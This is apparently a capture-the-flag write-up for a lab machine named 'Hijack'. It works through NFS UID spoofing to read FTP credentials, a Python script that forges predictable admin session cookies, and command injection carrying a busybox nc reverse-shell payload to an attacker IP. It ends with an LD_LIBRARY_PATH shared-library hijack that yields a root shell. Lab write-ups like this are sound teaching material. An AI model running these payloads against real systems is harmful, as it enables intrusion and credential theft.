Hijack
Executive Summary
This report details a successful penetration test against the target system "Hijack". The attack leveraged a chain of vulnerabilities:
- Exposed NFS Share: An improperly configured Network File System (NFS) share exposed sensitive files, leading to the discovery of FTP credentials.
- Predictable Session Cookie Generation: The web application used a weak, predictable algorithm to generate session cookies, enabling session hijacking.
- Command Injection:  A service status checker in the web application's administration panel was vulnerable to command injection, granting shell access as the www-datauser.
- Privilege Escalation via LD_LIBRARY_PATH:  Misconfigured sudopermissions allowed therickuser to runapache2with a controlledLD_LIBRARY_PATH, leading to shared library hijacking and root-level access.
1. Initial Reconnaissance
1.1. Port Scanning
Initial reconnaissance was performed using nmap to identify open ports and services.
export TARGET_IP=10.10.57.168
nmap -p- --min-rate 5000  $TARGET_IP
Output (Summarized):
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
... (other less relevant ports) ...
Key Findings:
- FTP (21/tcp): Indicates a file transfer service.
- SSH (22/tcp): Suggests remote shell access.
- HTTP (80/tcp): Implies a web server, likely hosting a web application.
- RPCBind (111/tcp) & NFS (2049/tcp): Strong indicators of a Network File System share, a potential target for unauthorized file access.
1.2. Service Version Enumeration
Further nmap scans were conducted to gather service version information and run relevant scripts.
sudo nmap -sV -sC -p 111,2049 --script=nfs-ls,nfs-statfs,nfs-showmount $TARGET_IP
Output (Summarized):
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2-4 (RPC #100000)
2049/tcp open  nfs     2-4 (RPC #100003)
...
nfs-showmount:
/mnt/share *
nfs-ls: Volume /mnt/share
access: NoRead NoLookup NoModify NoExtend NoDelete NoExecute
...
Key Findings and Explanation:
- NFS Versions: The NFS service supports versions 2, 3, and 4. Older versions (especially v2) can be more vulnerable.
- /mnt/shareExport: The- nfs-showmountoutput confirms that the- /mnt/sharedirectory is exported. The asterisk (- *) indicates that this share is accessible to any client, a significant security risk.
- Restricted Anonymous Access:  While the share is exposed, anonymous access is restricted.  The nfs-lsoutput showsNoRead,NoLookup, etc., meaning we cannot directly list or read files without appropriate credentials. This is good practice on the server-side, but doesn't mean the share is secure.
1.3. Web Application Reconnaissance
Browsing to http://10.10.57.168/ revealed a login page. Initial login attempts with common credentials (test:test, admin:admin) were unsuccessful, but provided valuable information:
- test:test: "No account found with that username."
- admin:admin: "The password you entered is not valid."
- Brute-force Protection: Attempting multiple login attempts triggered a lockout: "You have exceeded 5 login attempts. This account has been locked for 300 seconds."
Key Findings:
- The username adminexists.
- Brute-force attacks are mitigated by account lockout, making direct password guessing impractical.
- FTP Anonymous login is not allowed.
2. Exploitation
2.1. NFS Enumeration and Credential Discovery
The presence of the NFS share warranted further investigation. We attempted to mount the share locally.
mkdir /tmp/share
sudo mount -t nfs 10.10.57.168:/mnt/share /tmp/share
ls -l /tmp/share
Output:
drwx------  2 1003 1003  4096 Aug  8  2023 share
Explanation and Exploitation:
- Mounting the Share: The mountcommand successfully attached the remote NFS share/mnt/shareto the local directory/tmp/share.
- Restricted Permissions:  The ls -loutput reveals that the mounted directory is owned by user ID (UID) 1003 and group ID (GID) 1003, with permissions only allowing the owner access.
- UID/GID Matching: This is a crucial concept in NFS security. NFS uses numeric UIDs and GIDs, not usernames, for access control. If we create a local user with the same UID (1003), we can potentially access files owned by that UID on the NFS share, regardless of the username on the remote system.
To exploit this, we created a local user b0end with UID 1003:
sudo useradd -u 1003 b0end
sudo passwd b0end
su b0end
cat /tmp/share/for_employees.txt
Result:
The cat command, executed as user b0end, successfully retrieved the contents of /tmp/share/for_employees.txt, revealing FTP credentials: ftpuser:W3stV1rg1n14M0un741nM4m4.
Why this works:  The NFS server doesn't know or care about the name b0end.  It only sees a request from UID 1003, which matches the file owner, and therefore grants access.
Further Data Exfiltration: We used the discovered FTP credentials to download files from the FTP server:
exit
cd /home/kali/Downloads  # Or any suitable directory
wget -r --user="ftpuser" --password="W3stV1rg1n14M0un741nM4m4" ftp://10.10.57.168
This downloaded two important files: .from_admin.txt and .passwords_list.txt.
- .from_admin.txtcontained a message from the administrator, confirming the existence of a password list and the presence of brute-force protection.
- .passwords_list.txtcontained a list of potential passwords for the web application.
2.2. Session Hijacking
Inspecting the web application's cookies after registering a test user (test:password) revealed a pattern. The PHPSESSID cookie was URL-encoded.  Decoding it revealed a further Base64-encoded string:
# URL Decode
url_decoded=$(echo "dGVzdDo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OQ%3D%3D" | python3 -c 'import urllib.parse, sys; print(urllib.parse.unquote(sys.stdin.read()))')
echo $url_decoded
# Base64 Decode
base64_decoded=$(echo "$url_decoded" | base64 -d)
echo "$base64_decoded"
# Verification (MD5 hash of "password")
echo -n "password" | md5sum | cut -d ' ' -f 1
Analysis:
The cookie value followed the pattern: urlencode(base64(username:md5(password))). This is a highly predictable and vulnerable cookie generation mechanism.  An attacker can craft a cookie for any user if they can guess or obtain the MD5 hash of the user's password.
Exploitation (Python Script):
A Python script was developed to generate valid admin cookies using the passwords from .passwords_list.txt and attempt to access the /administration.php page.
import requests
import hashlib
import base64
import urllib.parse
def generate_cookie(username, password):
    """Generates the session hijacking cookie."""
    hashed_password = hashlib.md5(password.encode()).hexdigest()
    cookie_string = f"{username}:{hashed_password}"
    cookie_base64 = base64.b64encode(cookie_string.encode()).decode()
    cookie_url_encoded = urllib.parse.quote(cookie_base64)
    return cookie_url_encoded
def attack(url, file_path_to_passwords):
    """Performs the session hijacking attack."""
    headers = {
        'Host': url.split('//')[-1].split('/')[0],  # Correctly extract host
        'Cache-Control': 'max-age=0',
        'Accept-Language': 'en-US,en;q=0.9',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'keep-alive',
    }
    try:
        with open(file_path_to_passwords, 'r') as f:
            passwords = [line.strip().strip('# ') for line in f]  # Remove comments and whitespace
    except FileNotFoundError:
        print(f"Error: Password file not found at {file_path_to_passwords}")
        return
    for password in passwords:
        cookie = generate_cookie('admin', password)
        headers['Cookie'] = f'PHPSESSID={cookie}'
        try:
            response = requests.get(url, headers=headers, allow_redirects=False) # Added allow_redirects = False
            response.raise_for_status()  # Raise HTTPError for bad responses (4xx or 5xx)
            if "Access denied" not in response.text:
                print(f"Success!  Admin password is likely: {password}")
                print("Response:")
                print(response.text)
                print(f"Cookie used: PHPSESSID={cookie}")
                return  # Stop after the first successful attempt
            else:
                print(f"Trying password: {password} - Access Denied")
        except requests.exceptions.RequestException as e:
            print(f"An error occurred: {e}")
            return
    print("Attack failed.  Could not guess admin password.")
if __name__ == "__main__":
    url = "http://10.10.57.168/administration.php"  # URL to target
    file_path_to_passwords = '/home/kali/Downloads/passwords_list.txt'  # Path to the passwords file.  ADJUST AS NEEDED.
    attack(url, file_path_to_passwords)
Result:
The script successfully identified the admin password as uDh3jCQsdcuLhjVkAy5x.  The corresponding PHPSESSID cookie was YWRtaW46ZDY1NzNlZDczOWFlN2ZkZmIzY2VkMTk3ZDk0ODIwYTU%3D.  Using this cookie granted access to the /administration.php page.
2.3. Command Injection
The /administration.php page contained a "Services Status Checker" feature.  Inputting a service name displayed its status.  This functionality was vulnerable to command injection.
Testing:
- Input: testOutput: (Normal service status output)
- Input: $(id)Output:* uid=33(www-data).service ...
Explanation:
The $(id) input demonstrates command injection.  The server-side code likely uses a shell command to check the service status, and unsanitized user input is directly incorporated into this command.  The $(...) syntax in Bash executes the command within the parentheses (in this case, id) and substitutes the output into the larger command.  The output confirms that the injected command id was executed, revealing that the web server is running as the www-data user (UID 33).
Exploitation (Reverse Shell):
A reverse shell was established using busybox nc:
- Listener:  On the attacking machine: nc -lvnp 7777
- Payload (Injected Input): $(busybox nc 10.2.17.44 7777 -e sh)(Replace10.2.17.44with your attacking machine's IP)
Result:
A shell was obtained as the www-data user.  Further enumeration revealed database credentials in config.php:
cat config.php
Credentials:  rick:N3v3rG0nn4G1v3Y0uUp (database user: rick)
2.4. Privilege Escalation (LD_LIBRARY_PATH Hijacking)
su rick  # Password: N3v3rG0nn4G1v3Y0uUp
sudo -l
Output (Summarized):
User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
    ... env_keep+=LD_LIBRARY_PATH ...
Vulnerability:
- sudo apache2:- rickcan run- apache2as root.
- env_keep+=LD_LIBRARY_PATH: This is the critical vulnerability. It means that when- rickuses- sudoto run- apache2, the- LD_LIBRARY_PATHenvironment variable is preserved.- LD_LIBRARY_PATHspecifies directories where the system should search for shared libraries before the standard locations.
Exploitation (Shared Library Hijacking):
- 
Identify a Target Library: We listed the shared libraries used by apache2:ldd /usr/sbin/apache2We chose libcrypt.so.1as our target. Any library loaded byapache2could be used.
- 
Create a Malicious Library: We created a C file ( hijack.c) containing a function that will execute when the library is loaded. This function will escalate privileges and launch a shell:hijack.c#include <stdio.h>
 #include <stdlib.h>
 #include <sys/types.h>
 #include <unistd.h>
 static void hijack() __attribute__((constructor));
 void hijack() {
 unsetenv("LD_LIBRARY_PATH"); // Clean up
 setresuid(0,0,0); // Set real, effective, and saved UIDs to 0 (root)
 system("/bin/bash -p"); // Execute bash with the -p flag (preserve privileges)
 }- __attribute__((constructor)): This directive ensures that the- hijackfunction is executed automatically when the library is loaded.
- unsetenv("LD_LIBRARY_PATH"): This cleans up the environment variable and prevent unexpecteds behaviors.
- setresuid(0, 0, 0): This is the key to privilege escalation. It sets the real UID, effective UID, and saved set-user-ID to 0 (root). This grants the process full root privileges.
- system("/bin/bash -p");: Executes- /bin/bashwith the- -pflag. The- -pflag is important; it tells Bash to preserve the elevated privileges (the effective UID of 0) even if the real UID is different. Without- -p, Bash would drop privileges back to the real UID (rick).
 
- 
Compile the Library: gcc -o /tmp/libcrypt.so.1 -shared -fPIC hijack.c- -shared: Creates a shared library.
- -fPIC: Generates position-independent code, which is required for shared libraries.
- -o /tmp/libcrypt.so.1: Specifies the output filename. It must match the name of the library we are hijacking.
 
- 
Execute apache2with the Hijacked Library:sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2- LD_LIBRARY_PATH=/tmp: Sets the- LD_LIBRARY_PATHenvironment variable to- /tmp, causing the system to load our malicious- libcrypt.so.1from- /tmpbefore the legitimate one.
 
Result:
A root shell was obtained. The final flag could be retrieved:
id  # Verify root privileges
cat /root/root.txt